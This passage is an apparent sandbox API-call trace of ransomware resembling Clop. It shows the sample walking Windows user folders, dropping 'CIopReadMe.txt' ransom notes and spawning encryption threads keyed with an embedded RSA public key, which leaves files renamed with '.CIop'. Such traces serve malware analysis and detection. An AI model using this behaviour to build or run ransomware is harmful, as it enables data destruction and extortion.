/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.677] lstrcpyW (in: lpString1=0x2dc93de, lpString2="vxT7Wz-UZ XFfNDp.png" | out: lpString1="vxT7Wz-UZ XFfNDp.png") returned="vxT7Wz-UZ XFfNDp.png" [0101.677] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0101.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0101.678] WaitForSingleObject (hHandle=0x5f0, dwMilliseconds=0xffffffff) returned 0x0 [0101.711] SetErrorMode (uMode=0x1) returned 0x1 [0101.711] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\CIopReadMe.txt") returned 43 [0101.711] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\recent\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.712] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0101.712] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0101.712] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0101.712] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0101.712] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0101.712] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\recent\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0101.713] WriteFile (in: hFile=0x53c, lpBuffer=0x647580*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x647580*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0101.713] CloseHandle (hObject=0x53c) returned 1 [0101.714] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.714] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.714] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.714] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0101.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0101.714] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.714] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0101.714] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0101.714] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.714] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.714] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.714] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.714] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0101.714] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0101.714] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0101.714] SetErrorMode (uMode=0x1) returned 0x1 [0101.714] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0101.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0101.714] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0101.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0101.714] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x648ef8 [0101.714] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0101.714] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0101.714] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.714] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.715] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0101.715] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0101.715] lstrlenW (lpString="desktop.ini") returned 11 [0101.715] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.715] FindClose (in: hFindFile=0x648ef8 | out: hFindFile=0x648ef8) returned 1 [0101.715] FindClose (in: hFindFile=0x648ef8 | out: hFindFile=0x648ef8) returned 0 [0101.715] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0101.715] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0101.715] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x648e78 [0101.715] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0101.715] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0101.715] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0101.715] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.715] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.715] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.715] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.715] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.715] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 1 [0101.716] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 0 [0101.716] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.716] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0101.716] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0101.716] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0101.716] SetErrorMode (uMode=0x1) returned 0x1 [0101.716] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0101.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0101.716] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0101.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0101.716] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x648e78 [0101.716] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0101.716] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0101.716] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.716] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.716] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0101.716] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0101.716] lstrlenW (lpString="desktop.ini") returned 11 [0101.716] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.716] lstrcmpW (lpString1="Everywhere.search-ms", lpString2="..") returned 1 [0101.716] lstrcmpW (lpString1="Everywhere.search-ms", lpString2=".") returned 1 [0101.716] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned 35 [0101.716] Sleep (dwMilliseconds=0xd) [0101.765] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.765] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms" [0101.765] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0101.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0101.765] WaitForSingleObject (hHandle=0x5e0, dwMilliseconds=0xffffffff) returned 0x0 [0101.847] SetErrorMode (uMode=0x1) returned 0x1 [0101.847] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CIopReadMe.txt") returned 45 [0101.847] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.847] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0101.847] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0101.847] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0101.847] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0101.847] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0101.847] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0101.864] WriteFile (in: hFile=0x5cc, lpBuffer=0x647580*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x647580*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0101.865] CloseHandle (hObject=0x5cc) returned 1 [0101.865] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.865] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1 [0101.865] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1 [0101.865] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned 35 [0101.865] Sleep (dwMilliseconds=0xd) [0101.894] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.894] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms" [0101.894] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0101.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0101.895] WaitForSingleObject (hHandle=0x5cc, dwMilliseconds=0xffffffff) returned 0x0 [0101.995] SetErrorMode (uMode=0x1) returned 0x1 [0101.995] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CIopReadMe.txt") returned 45 [0101.995] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0101.995] CloseHandle (hObject=0x5e4) returned 1 [0101.996] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.996] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 1 [0101.996] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 0 [0101.996] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0101.996] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0101.996] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x648e78 [0101.996] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0101.996] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0101.996] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0101.996] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.996] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.997] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.997] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.997] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.997] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.997] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.997] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.997] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 1 [0101.997] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 0 [0101.997] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.997] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0101.997] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0101.997] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0101.997] SetErrorMode (uMode=0x1) returned 0x1 [0101.997] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0101.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0101.997] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0101.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0101.997] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.997] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0101.997] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0101.997] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2="..") returned 1 [0101.997] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2=".") returned 1 [0101.997] lstrlenW (lpString=".CIop") returned 5 [0101.997] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.997] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.997] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.997] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0101.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0101.997] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.998] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0101.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0101.998] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.998] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.998] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.998] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0101.998] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0101.998] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0101.998] SetErrorMode (uMode=0x1) returned 0x1 [0101.998] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0101.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0101.998] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0101.998] lstrcatW 